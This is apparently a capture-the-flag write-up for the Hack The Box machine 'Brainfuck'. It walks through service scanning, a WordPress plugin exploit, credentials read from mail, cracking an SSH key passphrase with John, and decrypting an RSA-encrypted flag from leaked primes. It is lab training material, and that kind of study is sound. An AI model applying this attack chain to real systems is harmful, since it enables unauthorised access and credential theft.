← Home

Hack The Box : Brainfk

8 August, 2021

Beginning with an nmap scan

---------------------Starting Port Scan-----------------------
PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
110/tcp open  pop3
143/tcp open  imap
443/tcp open  https
---------------------Starting Script Scan-----------------------
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 94:d0:b3:34:e9:a5:37:c5:ac:b9:80:df:2a:54:a5:f0 (RSA)
|   256 6b:d5:dc:15:3a:66:7a:f4:19:91:5d:73:85:b2:4c:b2 (ECDSA)
|_  256 23:f5:a3:33:33:9d:76:d5:f2:ea:69:71:e3:4e:8e:02 (ED25519)
25/tcp  open  smtp     Postfix smtpd
|_smtp-commands: brainfuck, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
110/tcp open  pop3     Dovecot pop3d
|_pop3-capabilities: TOP SASL(PLAIN) PIPELINING CAPA AUTH-RESP-CODE RESP-CODES UIDL USER
143/tcp open  imap     Dovecot imapd
|_imap-capabilities: Pre-login have capabilities ENABLE LITERAL+ IMAP4rev1 listed LOGIN-REFERRALS AUTH=PLAINA0001 IDLE ID more OK SASL-IR post-login
443/tcp open  ssl/http nginx 1.10.0 (Ubuntu)
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
| Not valid before: 2017-04-13T11:19:29
|_Not valid after:  2027-04-11T11:19:29
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
Service Info: Host:  brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernel

I checked out the website sup3rs3cr3t.brainfuck.htb on port 443 first. It looks like a discussion forum. Two users were visible admin and orestis

The root domain brainfuck.htb lead to a WordPress site

There was a post titled "Dev Update", it said:

SMTP Integration is ready. Please check and send feedback to orestis@brainfuck.htb

Running wpscan for user enumeration

[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] administrator
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

wpscan with a full plugin enumeration was taking time so I decided to take a look at the /wp-content/plugins path

$ curl https://brainfuck.htb/wp-content/plugins/ --insecure
<html>
<head><title>Index of /wp-content/plugins/</title></head>
<body bgcolor="white">
<h1>Index of /wp-content/plugins/</h1><hr><pre><a href="../">../</a>
<a href="akismet/">akismet/</a>                                           06-Mar-2017 16:00                   -
<a href="easy-wp-smtp/">easy-wp-smtp/</a>                                      17-Apr-2017 17:17                   -
<a href="wp-support-plus-responsive-ticket-system/">wp-support-plus-responsive-ticket-system/</a>          17-Apr-2017 17:51                   -
<a href="hello.php">hello.php</a>                                          22-May-2013 21:08                2255
<a href="index.php.old">index.php.old</a>                                      05-Jun-2014 15:59                  28
</pre><hr></body>
</html>

Looks like easy-wp-smtp and wp-support-plus-responsive-ticket-system are present. Searching for an exploit for these two plugins, I found two exploits worth trying: EDB-34589 and EDB-41006 34589 didn't work as the pre-requisite file downloadAttachment wasn't present so I tried 41006. The exploit worked and I was able to login as both administrator and admin. Since admin had more privileges, I looked for editable themes and adding a reversee shell as a plugin but the theme wasn't editable for the former to work and the plugin upload page returned 404. Going through the settings I found a password for the SMTP user orestis

orestis:kHGuERB29DNiNE

Let's login to the POP3 server next with the credentials to read orestis' email

$ telnet 10.10.10.17 110
Trying 10.10.10.17...
Connected to 10.10.10.17.
Escape character is '^]'.
+OK Dovecot ready.
USER orestis
+OK
PASS kHGuERB29DNiNE
+OK Logged in.
LIST
+OK 2 messages:
1 977
2 514
.
RETR 1
+OK 977 octets
Return-Path: <www-data@brainfuck.htb>
X-Original-To: orestis@brainfuck.htb
Delivered-To: orestis@brainfuck.htb
Received: by brainfuck (Postfix, from userid 33)
        id 7150023B32; Mon, 17 Apr 2017 20:15:40 +0300 (EEST)
To: orestis@brainfuck.htb
Subject: New WordPress Site
X-PHP-Originating-Script: 33:class-phpmailer.php
Date: Mon, 17 Apr 2017 17:15:40 +0000
From: WordPress <wordpress@brainfuck.htb>
Message-ID: <00edcd034a67f3b0b6b43bab82b0f872@brainfuck.htb>
X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8

Your new WordPress site has been successfully set up at:

https://brainfuck.htb

You can log in to the administrator account with the following information:

Username: admin
Password: The password you chose during the install.
Log in here: https://brainfuck.htb/wp-login.php

We hope you enjoy your new site. Thanks!

--The WordPress Team
https://wordpress.org/
.
RETR 2
+OK 514 octets
Return-Path: <root@brainfuck.htb>
X-Original-To: orestis
Delivered-To: orestis@brainfuck.htb
Received: by brainfuck (Postfix, from userid 0)
        id 4227420AEB; Sat, 29 Apr 2017 13:12:06 +0300 (EEST)
To: orestis@brainfuck.htb
Subject: Forum Access Details
Message-Id: <20170429101206.4227420AEB@brainfuck>
Date: Sat, 29 Apr 2017 13:12:06 +0300 (EEST)
From: root@brainfuck.htb (root)

Hi there, your credentials for our "secret" forum are below :)

username: orestis
password: kIEnnfEKJ#9UmdO

Regards

User

Logging in to the forum as orestis, I saw a thread with some encrypted text.

Putting the messages through dcode.fr, they were encrypted using vigenere cipher. Some of the messages were encoded using the key "FUCKMYBRAIN". Decrypting those messages was enough since it gave up an important link

$ curl https://10.10.10.17/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa --insecure
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6904FEF19397786F75BE2D7762AE7382

mneag/YCY8AB+OLdrgtyKqnrdTHwmpWGTNW9pfhHsNz8CfGdAxgchUaHeoTj/rh/
B2nS4+9CYBK8IR3Vt5Fo7PoWBCjAAwWYlx+cK0w1DXqa3A+BLlsSI0Kws9jea6Gi
W1ma/V7WoJJ+V4JNI7ufThQyOEUO76PlYNRM9UEF8MANQmJK37Md9Ezu53wJpUqZ
7dKcg6AM/o9VhOlpiX7SINT9dRKaKevOjopRbyEFMliP01H7ZlahWPdRRmfCXSmQ
zxH9I2lGIQTtRRA3rFktLpNedNPuZQCSswUec7eVVt2mc2Zv9PM9lCTJuRSzzVum
oz3XEnhaGmP1jmMoVBWiD+2RrnL6wnz9kssV+tgCV0mD97WS+1ydWEPeCph06Mem
dLR2L1uvBGJev8i9hP3thp1owvM8HgidyfMC2vOBvXbcAA3bDKvR4jsz2obf5AF+
Fvt6pmMuix8hbipP112Us54yTv/hyC+M5g1hWUuj5y4xovgr0LLfI2pGe+Fv5lXT
mcznc1ZqDY5lrlmWzTvsW7h7rm9LKgEiHn9gGgqiOlRKn5FUl+DlfaAMHWiYUKYs
LSMVvDI6w88gZb102KD2k4NV0P6OdXICJAMEa1mSOk/LS/mLO4e0N3wEX+NtgVbq
ul9guSlobasIX5DkAcY+ER3j+/YefpyEnYs+/tfTT1oM+BR3TVSlJcOrvNmrIy59
krKVtulxAejVQzxImWOUDYC947TXu9BAsh0MLoKtpIRL3Hcbu+vi9L5nn5LkhO/V
gdMyOyATor7Amu2xb93OO55XKkB1liw2rlWg6sBpXM1WUgoMQW50Keo6O0jzeGfA
VwmM72XbaugmhKW25q/46/yL4VMKuDyHL5Hc+Ov5v3bQ908p+Urf04dpvj9SjBzn
schqozogcC1UfJcCm6cl+967GFBa3rD5YDp3x2xyIV9SQdwGvH0ZIcp0dKKkMVZt
UX8hTqv1ROR4Ck8G1zM6Wc4QqH6DUqGi3tr7nYwy7wx1JJ6WRhpyWdL+su8f96Kn
F7gwZLtVP87d8R3uAERZnxFO9MuOZU2+PEnDXdSCSMv3qX9FvPYY3OPKbsxiAy+M
wZezLNip80XmcVJwGUYsdn+iB/UPMddX12J30YUbtw/R34TQiRFUhWLTFrmOaLab
Iql5L+0JEbeZ9O56DaXFqP3gXhMx8xBKUQax2exoTreoxCI57axBQBqThEg/HTCy
IQPmHW36mxtc+IlMDExdLHWD7mnNuIdShiAR6bXYYSM3E725fzLE1MFu45VkHDiF
mxy9EVQ+v49kg4yFwUNPPbsOppKc7gJWpS1Y/i+rDKg8ZNV3TIb5TAqIqQRgZqpP
CvfPRpmLURQnvly89XX97JGJRSGJhbACqUMZnfwFpxZ8aPsVwsoXRyuub43a7GtF
9DiyCbhGuF2zYcmKjR5EOOT7HsgqQIcAOMIW55q2FJpqH1+PU8eIfFzkhUY0qoGS
EBFkZuCPyujYOTyvQZewyd+ax73HOI7ZHoy8CxDkjSbIXyALyAa7Ip3agdtOPnmi
6hD+jxvbpxFg8igdtZlh9PsfIgkNZK8RqnPymAPCyvRm8c7vZFH4SwQgD5FXTwGQ
-----END RSA PRIVATE KEY-----

Given just the key, I thought of brute-forcing the password

$ python2 /usr/share/john/ssh2john.py id_rsa > hash
$ john --wordlist=../../wordlists/rockyou.txt hash   
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
3poulakia!       (id_rsa)
Session completed
$ openssl rsa -in id_rsa -out id_rsa.key
Enter pass phrase for id_rsa:
writing RSA key

Let's use the key to login as orestis and get the user flag hopefully!

ssh orestis@10.10.10.17 -i id_rsa.key 
The authenticity of host '10.10.10.17 (10.10.10.17)' can't be established.
ECDSA key fingerprint is SHA256:S+b+YyJ/+y9IOr9GVEuonPnvVx4z7xUveQhJknzvBjg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.17' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-75-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.


You have mail.
Last login: Wed May  3 19:46:00 2017 from 10.10.11.4
orestis@brainfuck:~$ id
uid=1000(orestis) gid=1000(orestis) groups=1000(orestis),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),121(lpadmin),122(sambashare)
orestis@brainfuck:~$ whoami
orestis
orestis@brainfuck:~$ cat user.txt
<flag>

Root

Inside orestis' home directory, there were some interesting files

orestis@brainfuck:~$ ls -lhtra
total 60K
drwxr-xr-x 3 root    root    4.0K Apr 13  2017 ..
-rw-r--r-- 1 orestis orestis  655 Apr 13  2017 .profile
-rw-r--r-- 1 orestis orestis 3.7K Apr 13  2017 .bashrc
-rw-r--r-- 1 orestis orestis  220 Apr 13  2017 .bash_logout
drwx------ 2 orestis orestis 4.0K Apr 17  2017 .ssh
drwxr-xr-x 3 root    root    4.0K Apr 17  2017 .composer
drwx------ 3 orestis orestis 4.0K Apr 29  2017 mail
-r-------- 1 orestis orestis   33 Apr 29  2017 user.txt
drwx------ 8 orestis orestis 4.0K Apr 29  2017 .sage
-rw-rw-r-- 1 orestis orestis  580 Apr 29  2017 encrypt.sage
-rw------- 1 orestis orestis  329 Apr 29  2017 output.txt
-rw------- 1 orestis orestis  619 Apr 29  2017 debug.txt
drwx------ 2 orestis orestis 4.0K Apr 29  2017 .cache
drwxr-xr-x 7 orestis orestis 4.0K Apr 29  2017 .
-rw------- 1 root    root       1 Dec 24  2017 .bash_history
orestis@brainfuck:~$ cat output.txt 
Encrypted Password: 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182
orestis@brainfuck:~$ cat debug.txt 
7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
orestis@brainfuck:~$ cat encrypt.sage 
nbits = 1024

password = open("/root/root.txt").read().strip()
enc_pass = open("output.txt","w")
debug = open("debug.txt","w")
m = Integer(int(password.encode('hex'),16))

p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:
    e = ZZ.random_element(phi)



c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')
orestis@brainfuck:~$ file encrypt.sage 
encrypt.sage: FORTRAN program, ASCII text

This FORTRAN program encrypt.sage was encrypting the root flag using some logic. Prime numbers used for encrypting are written to the debug file.

After searching around, I found a script to calculate the plain text using p, q and the exponent e https://crypto.stackexchange.com/a/19530. From the encryption program it was visible that the input was converted to hexadecimal, then integer and then encrypted. So the output integer would be converted to hexadecimal and then decoded to ASCII.

$ python decrypt.py
n:  8730619434505424202695243393110875299824837916005183495711605871599704226978295096241357277709197601637267370957300267235576794588910779384003565449171336685547398771618018696647404657266705536859125227436228202269747809884438885837599321762997276849457397006548009824608365446626232570922018165610149151977
pt: 24604052029401386049980296953784287079059245867880966944246662849341507003750

>>> format(24604052029401386049980296953784287079059245867880966944246662849341507003750, 'x').decode('hex')
'<flag>'